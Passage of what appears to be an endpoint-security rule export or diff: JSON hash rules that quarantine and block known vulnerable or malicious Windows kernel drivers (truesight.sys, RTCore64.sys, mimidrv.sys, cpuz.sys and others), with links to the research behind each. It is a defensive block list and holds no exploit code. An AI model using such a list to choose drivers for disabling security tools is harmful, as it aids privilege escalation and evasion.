+  "hl_testing_start_time": "2026-03-23T11:45:30.480252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cac5dc7c3da69b682097144f12a816530091d4708ca432a7ce39f6abe6616461",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25c4c79f-0b0d-50d2-9a79-31e20ab7ed09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981726Z",
+  "creation_date": "2026-03-23T11:45:29.981728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49ed27460730b62403c1d2e4930573121ab0c86c442854bc0a62415ca445a810",
+  "comment": "Vulnerable Kernel Driver (aka ProxyDrv.sys) [https://www.loldrivers.io/drivers/0e3b0052-18c7-4c8b-a064-a1332df07af2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25c64d50-8972-5d79-af17-8be0d7a5a82b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476724Z",
+  "creation_date": "2026-03-23T11:45:31.476728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14e49bc3781d1bd4a629c49d289f0753eeff1620183aff6878921d98411838d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25cd612d-e075-5ec4-802c-1d75ff73c1b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460608Z",
+  "creation_date": "2026-03-23T11:45:30.460611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d21aba58222930cb75946a0fb72b4adc96de583d3f7d8dc13829b804eb877257",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25cfdfe6-3621-58f8-b005-dc9da8087dc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834845Z",
+  "creation_date": "2026-03-23T11:45:30.834848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86ec1a34c5fc59f060905bd400a7b93f17ce035801aeff68084c362303cd8d63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25d47af5-c410-5763-b3e0-f4315cb3c8f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617765Z",
+  "creation_date": "2026-03-23T11:45:29.617767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bdba1561ec5b23b1d56ea8cee411147d1526595f03a9281166a563b3641fa2a",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25d8d234-ce5b-5ee6-9b0b-4da5e892db71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475634Z",
+  "creation_date": "2026-03-23T11:45:31.475638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "987c0ae95c1a5af412dbf07f30fadc81c09e762ae030be0d40d178bcdae27869",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25e75c18-8861-5a2e-9267-07eaeb6b340f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463098Z",
+  "creation_date": "2026-03-23T11:45:30.463101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b846b0a717665e4d9fb313f25d1f6a5b782e495387aea45cf87ad3c049ac0db",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25f9a628-61a7-5e33-8f9c-93ed5fec5a41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836667Z",
+  "creation_date": "2026-03-23T11:45:30.836669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836688Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5503457b83080d56dec2577ea173015d4f947154898d7af3e3f3440d75497cd3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25fb542c-0d83-5bac-b4c2-98003264ba4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472885Z",
+  "creation_date": "2026-03-23T11:45:30.472888Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79440da6b8178998bdda5ebde90491c124b1967d295db1449ec820a85dc246dd",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25fce0b8-a31c-5b3f-8f93-3272b92ddc79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459587Z",
+  "creation_date": "2026-03-23T11:45:30.459598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8168304169a2453c0c3e0a285c2a07d3b3b83433e0342f6b33400c371af86221",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26011834-75fc-5513-81c8-5d7abe8b447f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807660Z",
+  "creation_date": "2026-03-23T11:45:31.807662Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be3d34831f9c5756b5c4914113e191435a35482b56af72b97de05b26fd396496",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "260c36bb-031e-5c99-a909-cad0dddd3638",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467181Z",
+  "creation_date": "2026-03-23T11:45:30.467184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0820ae4ffc5258b49787423bd392cd29a6a77777b955dd210a41238b02f05c3e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2624c951-7316-5756-814b-cedf761e77d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810200Z",
+  "creation_date": "2026-03-23T11:45:31.810202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810208Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18cb010c716e03e8341ba43b4423695306d85b8723e7a89f5d8a73c6ddb25169",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26250b78-d22a-568c-baf5-ea8e937f41c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817914Z",
+  "creation_date": "2026-03-23T11:45:31.817918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eadb6eff81dd20553f7564b31147af7064dc8f5b7d71407ca24c4783cd0ffd4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "263de15c-e0c5-5972-91e0-8308e333822b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491244Z",
+  "creation_date": "2026-03-23T11:45:31.491247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7e358fee32f2437831f45baee3a8513c5f1e34b06d1b0442891600a338206bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "263f7a4c-decb-5e71-bc2d-be9aa6cfa2b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473842Z",
+  "creation_date": "2026-03-23T11:45:30.473846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e307281c9f7329579988190e24a655b15bb2e60afc585109f05a79e5aba81a0",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2641b4da-7d0f-54aa-920f-25472d592ace",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828742Z",
+  "creation_date": "2026-03-23T11:45:31.828744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47b34c0c133155e7a36993a79f6f9d0edc174d64087385560f28b38f15e3b1f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "264f52d1-382c-5b79-911e-187ae83ece5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827820Z",
+  "creation_date": "2026-03-23T11:45:30.827822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "619bebecbd811dc30558beb48a9bfe437c4807b5bc34543a6b6b4f1ebc564445",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26501787-413b-58d6-a82e-d1d9c84dde45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978527Z",
+  "creation_date": "2026-03-23T11:45:29.978529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05",
+  "comment": "Vulnerable Kernel Driver (aka AMDPowerProfiler.sys) [https://www.loldrivers.io/drivers/9a4fb66e-9084-4b21-9d76-a7afbe330606/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "265d45b5-1b73-5f18-967b-7c34b1ed731d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465765Z",
+  "creation_date": "2026-03-23T11:45:30.465768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "793b78e70b3ae3bb400c5a8bc4d2d89183f1d7fc70954aed43df7287248b6875",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26822bab-ab21-5d71-afb2-98e01c88d1de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984140Z",
+  "creation_date": "2026-03-23T11:45:29.984142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c",
+  "comment": "Vulnerable Kernel Driver (aka OpenLibSys.sys) [https://www.loldrivers.io/drivers/2e4fedb0-30ed-400d-b4e1-b2b2004c1607/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26884fc8-f8b5-536d-9e37-90a04d0a3081",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483689Z",
+  "creation_date": "2026-03-23T11:45:31.483692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89c1821b4546ae1d1fb4e84c9243691309d8191164573e978887c211b29471c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2688ae05-ac5d-5091-ad82-87d0b4cf8163",
